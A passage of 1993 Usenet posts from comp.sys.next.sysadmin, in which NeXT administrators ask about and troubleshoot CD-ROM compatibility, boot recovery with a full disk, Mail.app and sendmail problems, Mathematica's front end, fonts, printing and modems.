Followup-To: comp.sys.next.sysadmin
Organization: UCLA, Anderson Graduate School Of Management
Date: 13 Mar 93 11:08:47 PST
I am wondering which of the new <300ms CD-ROM drives are working on NeXT 68040
systems. In the past (OS 2.x), there was a problem with some drives. (In a
message to comp.sys.next.misc in January 1992, Scott Turner traced a problem
with the CDR-77 to an automounter incompatibility.)
Has anyone used a CDR-77 (or better/similar/other) CD-ROM drive to an '040? If
so, could you please post this compatibility information to this newsgroup?
/ivo welch
Newsgroups: comp.sys.next.sysadmin
From: elysia!luis (Luis Arias)
Subject: Re: NeXT will not turn OFF!! (yes, OFF)
Message-ID: <1993Mar9.170942.665@elysia.fdn.org>
Sender: luis@elysia.fdn.org
Organization: Elysia - Rueil_Malmaison, France.
References: <1993Mar8.155213.9877@tybrin4.uucp>
Date: Tue, 9 Mar 1993 17:09:42 GMT
In article <1993Mar8.155213.9877@tybrin4.uucp> uunet!sci34hub!tybrin4!trey
(Trey McClendon) writes:
> Hello,
>
> Now that I can post, the 'NeXT will not turn on!!' post reminds me of a
> problem with one of the NeXTs here where I work. This slab, one of the
> early ones, will not turn off. It will go through the power off
sequence
If you are running NS3.0, try looking at your Preferences. Maybe the Turn
Computer On after Power Off / failure option is on !
--
Luis Arias
President
Elysia, Inc.
23, rue Buffon
92500 RUEIL-MALMAISON
FRANCE
--
Luis Arias
President
Elysia, Inc.
23, rue Buffon
Newsgroups: comp.sys.next.sysadmin
From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: HELP, can't boot with / full
In-Reply-To: jenkinsonjp@rcwusr.bp.com's message of 10 Mar 93 18:46:16 -0600
Message-ID: <KARTHY.93Mar14112003@dannug.dannug.dk>
Sender: karthy@dannug.dk (Karsten Thygesen)
Organization: Dannug - Danish NeXT Users Group
References: <1993Mar10.184617.192@rcwusr>
Date: Sun, 14 Mar 1993 10:20:03 GMT
>>>>> On 10 Mar 93 18:46:16 -0600, jenkinsonjp@rcwusr.bp.com (John P. Jenkinson) said:
John> help, i'm shookered
John> NeXT won't boot, in rom monitor i see messages like
John> /: file system full
John> IO error on pageout: error = 28.
John> vnode_pageout: failed!
John> i understand the why, i can't get a boot in single user nor in -b to not
John> to rc.boot.
John> how do you recover rom such a situation???
We have had the same problem with one of our slabs, and the only way
we could get it up and running was to boot on a CD and then mount the
harddisk and do a little clean up.
Karsten.
--
Karsten Thygesen I Aalborg, Denmark
karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59
President, Danish NeXT Users Group I Fax: +45 98 12 44 81
Newsgroups: comp.sys.next.sysadmin
From: ed@talus.com
Subject: Re: MailBoxes are losing attchments...
Message-ID: <1993Mar14.210006.251@talus.com>
Sender: ed@talus.com
Organization: Talus Corporation
References: <1na22b$fbh@calvin.NYU.EDU>
Date: Sun, 14 Mar 1993 21:00:06 GMT
In article <1na22b$fbh@calvin.NYU.EDU> hiebm@acf3.nyu.edu (Michael Hieb) writes:
>
> No matter how many times I change permissions on the MailBoxes
> directory, each time mail is received a directory is created for the
> attachment which is empty. No matter the permissions on the directory,
> the umask can be set for 777, the directory is made with myself as
> owner, wheel as group and write permissions only for myself, and the
> attachment has been lost. I have destroyed both the Active.mbox by
> itself, as well as the entire MailBoxes directory. Upon recreation, no
> better.
>
> I welcome any pointers provided.
>
> Michael
I noticed several problems with those attachments when your mailbox gets big. For example when
there are more than 950 messages, things starts disappearing...
the only solution, until 3.1, seems to be transfering to "Before XX.mbox" (i.e. : "Before Jan 7.mbox"
Ed/
--
Erik Dasque "The French Guy" Houston (713) 561-0700
V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.software
From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon)
Subject: Mathematica installation gotcha
Message-ID: <1993Mar13.013827.1704@holli.uucp>
Sender: me@holli.uucp (My Account)
Organization: TYBRIN Corporation -- Huntsville, AL
Date: Sat, 13 Mar 1993 01:38:27 GMT
Hi,
Just wanted to alert everyone to a potential problem with Mathematica that
I ran into recently. A pre-2.1 version of Mathematica was installed on a
file server. mathremote, math, and mcc were put into /usr/local/bin. The
problem manifested itself in that math from the command line worked fine,
but the Notebook front end would not work. A simple operation like '1+1'
put the 'running...' up in the title bar and no answer ever came out.
After talking with Wolfram, who really tried hard to help, over the course
of several phone calls, they sent me v2.1. Same thing happened. Well I
got busy and dropped it until today. Another guy was installing a copy on
another machine and had the same problem.
Well, the problem ended up being the shell script 'mathremote', which the
front-end uses to talk to the kernel, I think. There is a long command
including many pipes that just happens to use a command called 'control'
-- without a pathname. We had a command called control that is a script
used for some other purpose that was being used instead of the one nestled
within the heirarchy of the Mathematica.app. After modifying the script
to put the absolute pathname in front of control, everything worked fine.
Trey McClendon
tybrin4!trey@sci34hub.sci.com
--
Trey McClendon, Madison, AL
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: passwd+ in Preferences
Message-ID: <C3x54o.LML@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
Date: Mon, 15 Mar 1993 07:07:21 GMT
Has anyone gotten around to writing a drop-in Preferences module
that provides for 'safe' password changing in netinfo? (by safe, I
mean using passwd+ or something like it - check for crackable
passwords)
Yes, I know that there are other ways, in fact I implemented one
that uses NIS. However, at my current site, using netinfo is
something that I want to keep doing and I would like to have
everything look the same for users.
Isn't the API for Preferences published now in 3.0? (at least NeXT
told me it would be last summer...) I was just hoping that someone
had finally gotten around to writing this. I imagine that my site
and others would be willing to license such a thing, in fact.
Forcing users to use good passwords is a very important thing.
On a related note, has anyone had success in using passwd+ with
NeXTs and netinfo?
I haven't even looked into it, but am interested to know if
it just compiles and runs like it would on any other BSD machine.
(somehow I doubt it, but maybe I'm being pessimistic...I've used
netinfo for too long :-)
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: mcullen@rothko.symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: SNMP manager for the NeXT
Date: 15 Mar 1993 16:06:31 GMT
Organization: Symantec Corporation
Message-ID: <1o29i7INNbo7@grumpy.symantec.com>
Okay. I snoozed. I need an SNMP manager for my 030 NeXT cube to manage
my WAN. Any help would be appreciated. Thankx to all for the
corrections.
mcullen@rothko.symantec.com
Newsgroups: comp.sys.next.sysadmin
From: dan@ennex1.eng.utsa.edu (Daniel Shelton)
Subject: Re: Mathematica installation gotcha
Message-ID: <1993Mar15.194231.9809@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
References: <1993Mar13.013827.1704@holli.uucp>
Date: Mon, 15 Mar 1993 19:42:31 GMT
In article <1993Mar13.013827.1704@holli.uucp>
uunet!sci34hub!tybrin4!holli!me (Trey McClendon) writes:
> Hi,
>
> Just wanted to alert everyone to a potential problem with Mathematica that
> I ran into recently. A pre-2.1 version of Mathematica was installed on a
> file server. mathremote, math, and mcc were put into /usr/local/bin. The
> problem manifested itself in that math from the command line worked fine,
> but the Notebook front end would not work. A simple operation like '1+1'
> put the 'running...' up in the title bar and no answer ever came out.
>
> After talking with Wolfram, who really tried hard to help, over the course
> of several phone
calls, they sent me v2.1. Same thing happened. Well I
> got busy and dropped it until today. Another guy was installing a copy on
> another machine and had the same problem.
>
> Well, the problem ended up being the shell script 'mathremote', which the
> front-end uses to talk to the kernel, I think. There is a long command
> including many pipes that just happens to use a command called 'control'
> -- without a pathname. We had a command called control that is a script
> used for some other purpose that was being used instead of the one nestled
> within the heirarchy of the Mathematica.app. After modifying the script
> to put the absolute pathname in front of control, everything worked fine.
>
> Trey McClendon
> tybrin4!trey@sci34hub.sci.com
> --
> Trey McClendon, Madison, AL
I installed a version of Mathematica 2.0 in LocalApps and NFS'd it to the rest of the machines on the network. The same thing happened, 1+1 ran without returning an answer. What worked for us was to update the .cshrc file to include the full path to the file math, ej. /LocalApps/Mathematica.app/Kernel.
Later,
Dan
Newsgroups: comp.sys.next.sysadmin
From: ijeff@hank.carleton.ca (Ian Jefferson)
Subject: Re: MIME Interface to NeXTMail
Message-ID: <ijeff.732233330@cunews>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <18961@hq.hq.af.mil> <C3stxp.7r@news.cis.umn.edu>
Date: Mon, 15 Mar 1993 22:08:50 GMT
In <C3stxp.7r@news.cis.umn.edu> peter@tahiti.umhc.umn.edu (Peter Eisch) writes:
>Or even a NeXTSTEP MIME app?
>Or an app like Mail.app that doesn't expect to mount the spool mail dir?
Yes how about a nice POPMAIL client ? Servers seem to work OK!
>peter
>peter@tahiti.umhc.umn.edu
>dig.
>Michelle A. Bradshaw writes
>> Is a third party working on such an interface?
>>
--
---------------------------------------------------------------------------
Ian Jefferson ijeff@ccs.carleton.ca No NeXT mail please!
ijeff@computeractive.on.ca NeXT mail please!
From: sfl@muttley.ucsd.edu (Susan Fichera)
Newsgroups: comp.sys.next.sysadmin
Subject: Need Font Directory
Date: 16 Mar 1993 01:37:40 GMT
Organization: Department of Music, UC San Diego
Distribution: usa
Message-ID: <1o3b14INNs9@network.ucsd.edu>
Keywords: New Century Schoolbook
Greetings, NeXT admins. I need to have New Century Schoolbook fonts
for our NeXTs. Does anyone have the font directory for this font?
Could I download it from somewhere? We are currently running NeXTOS 2.1,
but plan to upgrade to 3.0 fairly soon, if this makes a difference.
I assume the font is in the public domain. If Adobe keeps it proprietary,
let me know.
Thanks for any pointers.
Susan Fichera
UCSD CRCA
sfl@grasshopper.ucsd.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: DAT and 128Mb optical drives for the NeXT - compatibility?
Message-ID: <1993Mar16.014347.27640@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Mar7.024014.26328@wuphys.wustl.edu>
Date: Tue, 16 Mar 1993 01:43:47 GMT
Donald N. Petcher (petcher@howdy.wustl.edu) wrote:
: What does it take for a DAT drive and an optical drive (128Mb 3.5" variety)
: to work with a NeXT? I am interested in both, and have noticed that in
: particular the ones being sold as Macintosh compatible have pretty good
: prices. (MacDirect sells each at about the $1000-$1100 mark.) Would these
: work?
:
Here we experimented with the Pinnacle drive. Connect and go.
: Related questions:
:
: Are ALL 3.5" opticals diskwise compatible? (I saw one ad that explicit
: mentions "single-sided" 128Mb optical, which made me wonder...). Is there a
: reliablity question here?
:
We found that ones supplied by IBM did NOT work well with the Pinnacle
drive, while ones from SONY worked like a charm in both the Pinnacle and
IBM drives, and were cheaper too.
Oxymoron: IBM Open Systems...
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: General System Problems
Message-ID: <1993Mar16.015130.27940@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1nc0qtINNmlq@senator-bedfellow.MIT.EDU>
Date: Tue, 16 Mar 1993 01:51:30 GMT
Eric M Hermanson (zmonster@athena.mit.edu) wrote:
: Hi I wondered if anyone could answer three questions I have:
:
: 1. I set the low water mark in /etc/swaptab to be 30 Megs. After rebooting,
: the size of the swapfile is 19 Megs. Shouldn't it be 30 Megs since the
: low water mark is 30 Megs?
:
No. If you read the man page for mach_swapon it mentions that it will
attempt to shrink the file to lowat, as resources are freed.
: 2. Every time I log in, either with my account or root, I get this message
: in the console:
:
: >Mar 6 22:58:27 localhost syslog: make_services: someone else is already
: >making services.
:
: Is this normal?
No it's not. Try running /usr/bin/make_services from a shell window and
see if you get more information. Check the permissions on
~/.NeXT/service
:
: 3. My system ignores characters in passwords that are 9 characters or more
: long. I thought one could have as many characters in the password as you
: want?
:
That's normal behaviour. You can have as many as you want, but any
after the first 8 get dropped into the bit bucket.
:
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: HELP, can't boot with / full
Message-ID: <1993Mar16.020649.28502@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Mar10.184617.192@rcwusr>
Date: Tue, 16 Mar 1993 02:06:49 GMT
John P. Jenkinson (jenkinsonjp@rcwusr.bp.com) wrote:
: help, i'm shookered
: NeXT won't boot, in rom monitor i see messages like
: /: file system full
: IO error on pageout: error = 28.
: vnode_pageout: failed!
:
: i understand the why, i can't get a boot in single user nor in -b to not
: to rc.boot.
:
: how do you recover rom such a situation???
You need to boot from a cdrom or a boot floppy. The following receipe is
base on using a boot floppy. Once you have done this:
/etc/mount /dev/sd0a /m
/m/bin/cat /m/etc/swaptab
(done so that you can see previous lowat value.)
typical result of preceeding cat:
/private/vm/swapfile lowat=20971520 # 20 Meg low water mark
/m/usr/etc/mach_swapon -o lowat=20971520 /m/private/vm/swapfile
/m/etc/shutdown -h now
(wait for shutdown)
boot multiuser.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Recycler on mounted drives
Message-ID: <1993Mar16.021232.28755@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <C3qDLM.3IK@Novell.COM>
Date: Tue, 16 Mar 1993 02:12:32 GMT
J. Douglas Smith (Doug_Smith@Novell.COM) wrote:
: Is there a way to get the Recycler to work on mounted file systems?
:
: --
: Doug Smith Internet: jdsmith@novell.com
: Novell, INC. Phone: (801) 429-7324
: UNIX Desktop Group
:
Suppose that you have mounted the NFS file system as /Other/FS
login or su as root.
mkdir /Other/FS/.NextTrash
chmod a+w,+t /Other/FS/.NextTrash
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: External Hard Drive, Ownership and File Creation Mask
Message-ID: <1993Mar16.023149.29388@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Mar12.185728.19160@news.cs.brandeis.edu>
Date: Tue, 16 Mar 1993 02:31:49 GMT
brendan mcdougall (mcdougal@jensen.cc.brandeis.edu) wrote:
: Hi,
:
: The PI in this group purchased and installed an ADS external 1G hard
: drive. At this point a private user owns the hard drive. Doing a
: recursive chown, i.e. chown -R root /'disk', does not change the ownership
: of the disk after logging out from root. Too, file creation mask changes
: from root do not last past terminating that root session.
:
: To the Gurus, what the *%$# is the problem and how is this really managed.
:
: Please post to the group and if you send me responses directly, which I
: would appreciate, I will summarize the responses and post to the group.
:
: Thank you very much for your help.
:
: Best regards,
:
: Brendan McDougall
Best way to handle this is to put it in the host machines /etc/fstab
Add a line that looks like this:
/dev/sd1a /diskmountpoint 4.3 rw,noquota 0 1
Now manually unmount the disk, and then remount it.
Disks that are 'discovered' by the workspace seem to belong to whoever is
currently logged on.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Mail.app problems
Message-ID: <1993Mar16.023848.29702@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Mar12.154500.197@rcwusr>
Date: Tue, 16 Mar 1993 02:38:48 GMT
John P. Jenkinson (jenkinsonjp@rcwusr.bp.com) wrote:
: a user on a NeXT can't get into Mail with the Mail.app, most o the other
: accounts i tried can. that is problem number 1, why? i've seen the postings
: about permissions on /usr/spool/mail in NeXTanswers and this isn't the problem.
: it used to work, now when she launches Mail.app, nothing happens. while she
: was able to get in she changed her expert preferences to use another directory
: for her mailbox. since she can't get back in to change it back, that is
: problem number 2 - where is this information kept??
It's in here defaults database:
..
Mail HideOnAutoLaunch YES
Mail MailDir ~/Mailboxes
Mail NXFont Times-Roman
Mail NXFontPanelPreviewFrame "0 0 281 16"
Mail NXFontSize 12
Mail NonNext YES
..
To read it, dread -o Mail
to change it dwrite Mail MailDir whateveryouprefer
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: rlp@lanl.gov (Dick Phillips)
Subject: Help! I've broken my printer.
Message-ID: <1993Mar16.151641.6507@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Lab
Date: Tue, 16 Mar 1993 15:16:41 GMT
Folks:
Recently, while acting as my own sysadmin, I seem to have screwed up the
netinfo printcap entry. I added a couple of non-next printers via the
niload printcap . < /etc/printcap command. Previously, I had edited
/etc/printcap to reflect the new entries. Well, I can print to the new
printers, but I can no longer print to my local 400 dpi NeXT printer. The
console message says "Mar 15 14:11:20 rust lpd[217]: cannot execv /usr/lib/
NextPrinter/npcomm."
My first inclination was to reinstall the printer using PrintManager, but
that entry is grayed out. I'd sure appreciate any help here. Thanks,
Dick Phillips
rlp@lanl.gov
From: dcheslow@impact.flint.umich.edu (David A. Cheslow)
Newsgroups: comp.sys.next.sysadmin
Subject: dbm: no open database
Date: 16 Mar 1993 19:39:05 GMT
Organization: University of Michigan Engineering, Ann Arbor
Distribution: world
Message-ID: <1o5acpINNt55@srvr1.engin.umich.edu>
I get the following message
dbm: no open database
when i use mail from the command line (when telnetting into my machine)
and apparently this message is also sent out whenever mail is received
which is making it impossible for some people to mail to me. It may have
something to do with my sendmail.cf file.... our sysadmin altered it based
on the contents of a non-NeXT sendmail.cf file that he had.
please reply by e-mail to dcheslow@impact.flint.umich.edu
--
===============================================================
*NOT* an official document of the University of Michigan-Flint
===============================================================
David A. Cheslow dcheslow@impact.flint.umich.edu
School of Management, 344 CROB Phone: (313) 762-3309
University of Michigan - Flint Fax: (313) 762-3282
Newsgroups: comp.sys.next.sysadmin
From: patrick@jgravesnext.nurs.utah.edu (Patrick E. Langford)
Subject: AppleTalk
Message-ID: <1993Mar16.193343.2577@fcom.cc.utah.edu>
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center
Date: Tue, 16 Mar 93 19:33:43 GMT
Does anyone have the Beta release AppleTalk package? The
Beta just prior to the full 3.0 release? I've heard that
this version will work in a network environment.
I know that some people have had no problem and others have
had absolutely no luck getting the final release to work.
I fall into the latter catagory.
A friend said that he had success with the Beta version.
Would anyone out there be willing to email it to me?
Thanks.
--
Patrick Langford University of Utah
Systems Administrator / Assoc. Programmer College of Nursing
patrick@jgravesnext.nurs.utah.edu
<NeXTMail is not a problem>
Newsgroups: comp.sys.next.sysadmin
From: aboba@netcom.com (Bernard Aboba)
Subject: Help with SLIP/PPP?
Message-ID: <1993Mar16.194657.20373@netcom.com>
Summary: Trying to get SLIP/PPP working under v3.0
Keywords: SLIP, PPP, NeXT v3.0, Help
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Date: Tue, 16 Mar 1993 19:46:57 GMT
I'd like to hear from those of you running SLIP or PPP under v3.0. I
didn't have much problem with v2.1, but haven't made much progress
after upgrading to v3.0. I am particularly interested in a v3.0
version of PPP, if such exists.
Newsgroups: comp.sys.next.sysadmin
From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: Please recommend me the BEST modem for the NeXT
References: <1ni9be$4vp@zaphod.mps.ohio-state.edu>
Sender: gemoe@proximus.north.de
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Tue, 16 Mar 1993 08:20:36 GMT
Message-ID: <1993Mar16.082036.779@proximus.north.de>
There is nothing like a "BEST" modem. It strongly depends on the modem
of the site you poll most. If the other side has a HST, a HST will
give you the best results, if it is a PEP, use a PEP. If it is a ZyXEL
(with V.fast) use a ZyXEL.
All of the above modems (HST, Telebit, ZyXEL) have their "own"
"standards" - and they work best with modems of the same brand. Much
faster than V.32bis/V.42bis. Some of those Modems (ZyXEL, Worldblazer,
T3000(?)) also are capable to use V.32bis/V.42bis. (Hopefully the V.fast
becomes a standard, the ZyXEL can also use this mode)
If you communicate with many different sites or with a vanilla modem,
look at the CCITT modes that are understand by the modem. V.32bis is (at
this moment) the fastest transmission mode and V.42bis is the best
compression/error-correction available. (Some older modems only
"understand" MNP4, MNP5)
Some modems can also fax. But careful! It doesn't help if your modem can
fax but you don't have software that supports that modem. NXFax (which I
can highly recommend) by B&W Software supports the ZyXEL, the SUPRA
and Telebit. (In Version 1.03, to be released soon)
I personally use the ZyXEL U-1496. I am extremly satisfied with it
(There is a DSP and a M68000-12/16 inside) I can use it as an
answering machine (am, PD-software), send and receive faxes (with
NXFax), and use V.32bis/V.42bis. Also there are very often
EPROM-Updates. Make sure that you have a very good dealer with a
brilliant support if you buy a ZyXEL! I would buy again the ZyXEL!
Definitively.
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N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N
e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e
X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X
T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T
+-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
From: sfl@muttley.ucsd.edu (Susan Fichera)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: Extra Fonts
Date: 16 Mar 1993 21:52:26 GMT
Organization: Department of Music, UC San Diego
Distribution: usa
Message-ID: <1o5i6qINNejh@network.ucsd.edu>
Greetings, NeXT Admins. My original question regarded the availability
of New Century Schoolbook fonts for the NeXT. I had hoped they were
in the public domain. As many kind souls have hastened to inform me,
these fonts must be purchased as part of the Adobe Plus Pack, available
from NeXTConnection, RightBrain, and various other sources. The cost
is around $129-149, depending on where you order.
Thanks to:
Mike Matthews
Don Yacktman
David Lemson
Paul Kim
and to the other sysadmins who are yet to reply.
Regards,
Susan Fichera
UCSD CRCA
sfl@grasshopper.ucsd.edu
Newsgroups: comp.sys.next.sysadmin
From: djd@glv.com (David Deininger)
Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work
Message-ID: <1993Mar16.214745.15035@glv.uucp>
Keywords: tbl
Sender: usenet@glv.uucp
Organization: Encompass
References: <1nndos$e7i@zaphod.mps.ohio-state.edu>
Date: Tue, 16 Mar 1993 21:47:45 GMT
In article <1nndos$e7i@zaphod.mps.ohio-state.edu> nevai@mps.ohio-state.edu
(Paul Nevai) writes:
> Do a "man mf" job. Your mf.1 will not be processed because "man" can't finish
> the job. This is what happens:
> > ops> man mf
> > Reformatting page. Wait...
> > /usr/man/man1/mf.1: line 124: no specification
> > tbl quits
> > done
>
> What the heck is going on? The same mf.1 works fine on our SUN so I guess
> the NeXT has the problem. Any ideas? Take care...Paul
Looks like it's a bug in tbl, rather than a problem with mf.1, since tbl.1
doesn't work either. Having reached this conclusion, I still don't know what
to do about it. :-)
--david deininger
From: zmonster@athena.mit.edu (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Why do I keep getting these wierd errors??
Date: 16 Mar 1993 22:54:36 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <1o5lrcINN2qn@senator-bedfellow.MIT.EDU>
Ok, there must be someone out there in TV land who can help me with this..
I have a standalone color turbo ADB system. Every time I log into my personal
account (not "root" or "me"), I get the following errors:
>Mar 16 02:18:30 localhost syslog: make_services: someone else is already
>making services.
>Mar 16 03:27:27 localhost WindowServer[130]: IPCFlushOutput: failed to flush
>output for stream 0x21e154.
The second error always follows the first, about an hour after I log in.
The make_services error appears right after I log into my account. Also,
the stream number on the second error is different every time the error
pops up.
What is it?
One last thing. I cannot eject floppy disks from my system. SOmeone said
there is a bug in 3.0 regarding this. Will the program DiskEjectFix.daemon
available on nova.cc.purdue.edu solve this problem?
Thanks,
Eric
From: jmcaulif@husc.harvard.edu (Jon McAuliffe)
Newsgroups: comp.sys.next.sysadmin
Subject: Powering Down a SCSI device - please mail replies
Keywords: power SCSI hard drive
Message-ID: <1993Mar16.203653.21727@husc3.harvard.edu>
Date: 17 Mar 93 01:36:51 GMT
Article-I.D.: husc3.1993Mar16.203653.21727
Distribution: world
Hello,
Suppose I have an external hard drive mounted and I log out. If I then
power down the drive, say, in the evening and power it back up when I log on
the next morning, will anything have gone wrong? How about if I unmount it
before logging out (assuming I don't get "device busy"?) What kinds of bad
things occur in this situation, if any?
Please reply by mail.
_________________________________________________________________________
Jon McAuliffe jmcaulif@husc.harvard.edu
NeXT ex-Campus Consultant 617.493.3004 (voice/fax)
Harvard University
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: lpr and then what happens...
Message-ID: <1993Mar17.042222.20655@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Wed, 17 Mar 1993 04:22:22 GMT
I was slaving away, trying to figure out how to put printer access
control on my Nexts:
So I wrote a general purpose program called CheckUser that for a given
privledge and user returns 0 if the user has that privledge and 1
otherwise. Perfect for shell scripts.
Then I started hacking away on /usr/lib/transcript/psif.
Much time passed. None of my echos worked. None of my redirects to
files worked.
So, thought I, I'll fix it. Everything *eventually* connects to pscomm.
So I'll replace it with a script that echo's all its parameters to a
file.
Built the script, tested the script. Script worked.
Made the switch.
It still printed. (!)
ARG!
So I renamed /usr/lib/transcript to /usr/lib/TranScript.
It STILL printed.
Next uses the stuff in /usr/lib/NextPrinter.
So I edited comm, the only script file in NextPrinter.
No change..
So I replaced comm with my script to snarf paramters.
No change..
So I renamed NextPrinter NextPrinter.NOT
That worked. It no longer printed.
Changed it back.
Printed.
So at this point it would appear that either:
I've made an incredible series of bonehead moves. (Quite possible, it's
late...)
Or next does not use NextPrinter/comm in printing to their printer.
Does anyone happen to know the pipes, commands and processes in getting
from lpr or a NS app to the printer?
Thanks
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: eric@cs.sfu.ca (Eric Kolotyluk)
Subject: Mail.app Leave My /usr/spool/file alone
Message-ID: <1993Mar17.051032.2840@sfu.ca>
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Organization: Simon Fraser University, Burnaby, B.C., Canada
Date: Wed, 17 Mar 1993 05:10:32 GMT
reply to: eric@sfu.ca
It is extemely frustrating to run Mail.app on a network of Suns.
While running Mail.app is a nice way to minimize disk utilization
in the /usr/spool partition, it drives me (an my users) nuts when
you go back to running a `regular' mail program like, mail, elm,
mailtool, etc.
Is there a way to make/configure Mail.app to leave you mail in
the /usr/spool/file?
_____________________________________________________________________
Eric Kolotyluk Eric_Kolotyluk@sfu.ca
Manager, Research and Education Systems +1 604 291-3014 phone
School of Computing Science +1 604 291-3045 fax
Simon Fraser University
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From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: NeXTMail problem
Message-ID: <1993Mar16.165317.13467@Princeton.EDU>
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Date: Tue, 16 Mar 1993 16:53:17 GMT
One of our users can't send NeXTmail (i.e., any mail that incudes
formatted text and/or file attachments). Pressing the deliver button
results in the following error message: "Unable to write
attachments." Sounds like a permission problem, or a missing
folder... but I have not yet found the source of this problem.
Ideas anyone?
Phil
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voice: 609-258-5183 fax: 609-258-5571
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: sendmail problems
Date: 17 Mar 1993 10:15:21 -0000
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Message-ID: <1o6tnp$41g@steffi.demon.co.uk>
I am running the standard NeXT sendmail with NS3.0 and I am using
a sendmail.subsidiary.cf file as my sendmail.cf.
Now, a recent message posted to the next-prog list completely stuffed
up my mail feed. Anybody else suffer from this? Perhaps people in the
UK?
Here are the sendmail errors.
Mar 17 09:55:26 steffi sendmail[4034]: Unparseable user
<yang^H^H^H^H@yan^U wants to be <yang^H^H^H^H@yan^U
Mar 17 09:55:27 steffi sendmail[4034]: AA04034: SYSERR: cannot prescan
from (<yang^H^H^H^H@yan^U)
Now, while I don't expect another version of sendmail to handle
messages like the above what success has there been in using 565c+IDA
under NS3.0? I also have heard there is a problem with NeXT's sendmail
when it comes to messages with a from that contains both %'s and !'s.
Is this true?????
Is it worth the switch to a more recent version of sendmail.
I am running a SLIP connection to my host
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From: cs4gp6aa@maccs.mcmaster.ca (Appavoo J)
Subject: Xview
Message-ID: <1993Mar17.161232.7435@mcshub.dcss.mcmaster.ca>
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Organization: Department of Computer Science, McMaster University
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Date: Wed, 17 Mar 1993 16:12:32 GMT
Hi,
Is there anybody who has xview compiled and would let me get a copy of the compiled binaries. I am using mouseX on a non-turbo mono nextstation running 3.0
and I have not been able to compile xview and need it badly.
Please reply by mail. Thanks very much for any help.
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From: jonv@ptnext.claremont.edu (Jon Vestal)
Subject: Help compiling WAIS!
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Date: Wed, 17 Mar 1993 16:20:25 GMT
Hi,
